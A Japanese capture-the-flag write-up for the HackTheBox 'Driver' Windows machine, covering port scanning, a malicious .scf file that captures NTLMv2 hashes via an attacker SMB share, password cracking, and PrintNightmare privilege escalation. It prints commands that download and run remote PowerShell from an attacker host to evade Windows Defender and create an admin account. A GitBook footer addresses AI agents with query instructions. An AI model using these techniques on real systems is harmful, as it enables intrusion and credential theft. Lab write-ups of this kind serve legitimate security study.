> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md). # Driver HackTheBox攻略記事パスワード推測、SCF悪意あるファイル、Print Spoolerのローカル権限昇格（PrintNightmare）（CVE-2021-1675]を扱うDriver HackTheBox Easy Windowsマシンの攻略記事。実践的な列挙、ex {% embed url="" %} {% hint style="warning" %} **スキル:** * パスワードの推測 * SCFの悪意あるファイル * Print Spoolerのローカル権限昇格（PrintNightmare）（CVE-2021-1675] {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** Nmapディレクトリ内の「allPorts」ファイルにオープンポートを探索し、出力する： ```bash nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts ```

**extractportによる開放ポートの解析：** extractport関数を使って、簡潔な形式でオープンポートを表示し、クリップボードにコピーする。

**Nmapでポートのバージョンをスキャンする：** Nmapを使用してポートのバージョンをスキャンし、「targeted」ファイルに情報を抽出する： ```bash nmap -sCV -p80,135,445 -oN targeted ```

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

### ポート80の分析：ポート80には接続パネル付きのWebサーバーがある。

で分析すると **WhatWeb** デフォルトのユーザー名が特定される： `admin`.

への接続を試みる `admin:admin` を認証情報として使う。 ### MFPファームウェア更新センター：

サイトにはファームウェアのダウンロードオプションがある。メッセージには次のようにある： > プリンターテンプレートを選択し、対応するファームウェア更新をファイル共有からダウンロードしてください。テストチームがダウンロードを手動で確認し、まもなくテストを開始します。

## エクスプロイト - SCFの悪意あるファイル：悪意ある `.scf` ファイルを作成して、ユーザーが開いたときにNTLMv2を取得する： ``` [Shell] Command=2 IconFile=//10.10.14.7/smbFolder/pentestlab.ico [Taskbar] Command=ToggleDesktop ``` で待ち受ける **impacket** してNTLMv2を取得する： ```bash impacket-smbserver smbFolder $(pwd) -smb2support ``` ユーザー `tony`.

でNTLMハッシュをクラックする **John**: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `tony:liltony`

## SMBおよびWinRM接続： **アクセス確認** をCrackMapExecで： ```bash crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony' ```

/*/* WinRM/*/* 接続をCrackMapExecで： ```bash crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony' ```

**Evil-WinRMで制御を奪取**: ```bash evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony' ```

### user.txtフラグ：

## 権限昇格： ### **1. PowerUpによる列挙：** * ダウンロード中の **PowerUp.ps1** スクリプトを攻撃マシン上に配置し、末尾に `Invoke-AllChecks` コマンドを追加して、すべてのチェックを開始する。 {% embed url="" %} PythonのHTTPサーバー経由でスクリプトを被害マシンに転送する： ```bash python3 -m http.server 80 ``` 対象マシンでの実行： ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1') ``` > **結果**：該当する項目は見つからなかった。

### **2. winPEASによる列挙：** {% embed url="" %} ツールの転送 **winPEASx64.exe** を被害マシンへ： `upload winPEASx64.exe`

## **PrintNightmareのエクスプロイト（CVE-2021-1675）** 脆弱な **spoolsv** プロセスが検出され、TCPポートで待ち受けている。

GitHubで公開されているPrintNightmare用のエクスプロイトスクリプトを使用する。 {% embed url="" %}

実行するコマンドは次のとおり： 1. **スクリプトの転送** Windows Defenderによるブロックを避けるため： ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1') ``` 2. **管理者ユーザーの作成** という名前の `jordan`: ```powershell Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" ```

`jordan:jordan1234!$` > **状態**: `jordan` ユーザーは現在管理者グループに入っている。

### 管理者権限での接続 WinRMを使ったマシン接続： **Evil-WinRM**: ```powershell evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$' ```

### rootのフラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.